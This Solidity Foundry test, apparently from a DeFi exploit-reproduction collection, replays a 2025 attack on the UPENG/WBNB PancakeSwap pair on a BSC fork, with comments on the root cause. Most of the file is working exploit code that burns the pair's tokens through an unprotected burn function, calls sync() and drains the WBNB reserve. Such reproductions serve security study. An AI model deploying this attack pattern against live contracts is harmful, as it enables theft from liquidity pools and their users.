src/test/2025-07/UPENGBurnSync_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1.5 WBNB
8// Attacker : 0x37023A0c3440106Cf50Dc8498Dcd64fdBb1e837A
9// Attack Contract : 0x91b74e8E38290d7B1e0C48F72f4C54312b7F148e
10// Vulnerable Contract : 0x4303cdDBeF06B5820F10DbC00206f8Bde6749E2F
11// Vulnerable Pair : 0xB29b0E7545E7252e8db380C5C010Cb1ef6990cac
12// Attack Tx : https://bscscan.com/tx/0x33de1ed2d33f79e9b6dfccff8d4536ecda126f4eff18c295f16e9169b4ea5df1
13//
14// @Info
15// Token source is not verified on BscScan.
16//
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/1470
19//
20// Attack summary: The attacker bought UPENG with 0.001 BNB, burned almost the entire UPENG
21// balance held by the Pancake UPENG/WBNB pair via an unprotected burn(address,uint256),
22// synced the pair down to one wei of UPENG, then sold the bought UPENG against the distorted
23// reserves to drain the pair's 1.5 WBNB reserve.
24// Root cause: UPENG exposes an arbitrary-address burn function that lets any caller destroy
25// the pair's token balance, and the permissionless PancakePair.sync() commits that manipulated
26// token balance as reserves before the final swap.
27 
28address constant ATTACKER = 0x37023A0c3440106cf50Dc8498DCd64fDBB1E837A;
29address constant TRACE_ATTACK_CONTRACT = 0x91B74e8e38290D7B1e0C48F72f4c54312B7F148E;
30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
31address constant UPENG_TOKEN = 0x4303cdDbeF06B5820F10dbC00206F8BDE6749e2f;
32address constant UPENG_WBNB_PAIR = 0xB29B0E7545e7252E8Db380C5C010Cb1eF6990CAc;
33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
34uint256 constant SEED_BNB = 0.001 ether;
35 
36interface IUPENGBurn {
37    function burn(address account, uint256 amount) external;
38}
39 
40interface ISyncSwapPair is IUniswapV2Pair {
41    function sync() external;
42}
43 
44contract ContractTest is BaseTestWithBalanceLog {
45    address private profitReceiver;
46 
47    function setUp() public {
48        vm.createSelectFork("bsc", 53_877_710);
49 
50        profitReceiver = makeAddr("profitReceiver");
51        fundingToken = WBNB_TOKEN;
52        attacker = profitReceiver;
53 
54        vm.label(ATTACKER, "Attacker EOA");
55        vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
56        vm.label(PANCAKE_ROUTER, "Pancake Router");
57        vm.label(UPENG_TOKEN, "UPENG");
58        vm.label(UPENG_WBNB_PAIR, "UPENG/WBNB Pair");
59        vm.label(WBNB_TOKEN, "WBNB");
60    }
61 
62    function testExploit() public balanceLog {
63        _assertPairLayout();
64 
65        vm.deal(address(this), SEED_BNB);
66        uint256 wbnbBefore = IERC20(WBNB_TOKEN).balanceOf(profitReceiver);
67 
68        UPENGBurnSyncAttack attack = new UPENGBurnSyncAttack(profitReceiver);
69        attack.execute{value: SEED_BNB}();
70 
71        uint256 profit = IERC20(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore;
72        assertGt(profit, 1.49 ether);
73        assertLt(profit, 1.51 ether);
74    }
75 
76    function _assertPairLayout() private {
77        assertEq(ISyncSwapPair(UPENG_WBNB_PAIR).token0(), UPENG_TOKEN);
78        assertEq(ISyncSwapPair(UPENG_WBNB_PAIR).token1(), WBNB_TOKEN);
79    }
80}
81 
82contract UPENGBurnSyncAttack {
83    address private immutable profitReceiver;
84 
85    constructor(
86        address _profitReceiver
87    ) {
88        profitReceiver = _profitReceiver;
89    }
90 
91    receive() external payable {}
92 
93    function execute() external payable {
94        require(msg.value == SEED_BNB, "unexpected seed");
95 
96        address[] memory path = new address[](2);
97        path[0] = WBNB_TOKEN;
98        path[1] = UPENG_TOKEN;
99        Uni_Router_V2(PANCAKE_ROUTER).swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
100            0, path, address(this), block.timestamp
101        );
102 
103        uint256 pairUpengBalance = IERC20(UPENG_TOKEN).balanceOf(UPENG_WBNB_PAIR);
104        IUPENGBurn(UPENG_TOKEN).burn(UPENG_WBNB_PAIR, pairUpengBalance - 1);
105        ISyncSwapPair(UPENG_WBNB_PAIR).sync();
106 
107        uint256 upengToSell = IERC20(UPENG_TOKEN).balanceOf(address(this));
108        require(IERC20(UPENG_TOKEN).transfer(UPENG_WBNB_PAIR, upengToSell), "UPENG transfer failed");
109 
110        (uint112 reserve0, uint112 reserve1,) = ISyncSwapPair(UPENG_WBNB_PAIR).getReserves();
111        uint256 wbnbOut = Uni_Router_V2(PANCAKE_ROUTER).getAmountOut(upengToSell, reserve0, reserve1);
112        ISyncSwapPair(UPENG_WBNB_PAIR).swap(0, wbnbOut, profitReceiver, "");
113    }
114}